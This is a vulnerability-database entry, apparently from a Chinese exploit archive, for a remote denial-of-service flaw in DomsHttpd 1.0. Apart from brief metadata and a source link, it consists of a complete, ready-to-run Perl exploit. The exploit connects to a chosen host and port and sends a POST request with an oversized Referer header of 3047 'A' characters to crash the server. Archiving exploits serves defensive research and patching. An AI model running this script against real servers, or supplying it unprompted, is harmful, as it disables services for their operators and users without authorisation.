DomsHttpd 1.0 <= Remote Denial Of Service Exploit

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1047056 漏洞类型
发布时间 2012-07-17 更新时间 2012-07-17
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2012070113
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl
 
# DomsHttpd 1.0 <= Remote Denial Of Service Exploit
 
# Credit: Jean Pascal Pereira <pereira@secbiz.de>
 
# Usage: domshttpd.pl [host] [port]
 
use strict;
use warnings;
use IO::Socket;
 
my $host = shift || "localhost";
my $port = shift || 88;
 
my $sock = IO::Socket::INET->new( Proto => "tcp",
                                  PeerAddr  => $host,
                                  PeerPort  => $port
);
 
 
my $junk = "A"x3047;
 
print $sock "POST / HTTP/1.1\r\nHost: ".$host."\r\nConnection: close\r\nUser-Agent: Mozilla\r\nReferer: http://".$host."/".$junk."\r\n\r\n";
 
sleep 4;
 
close($sock);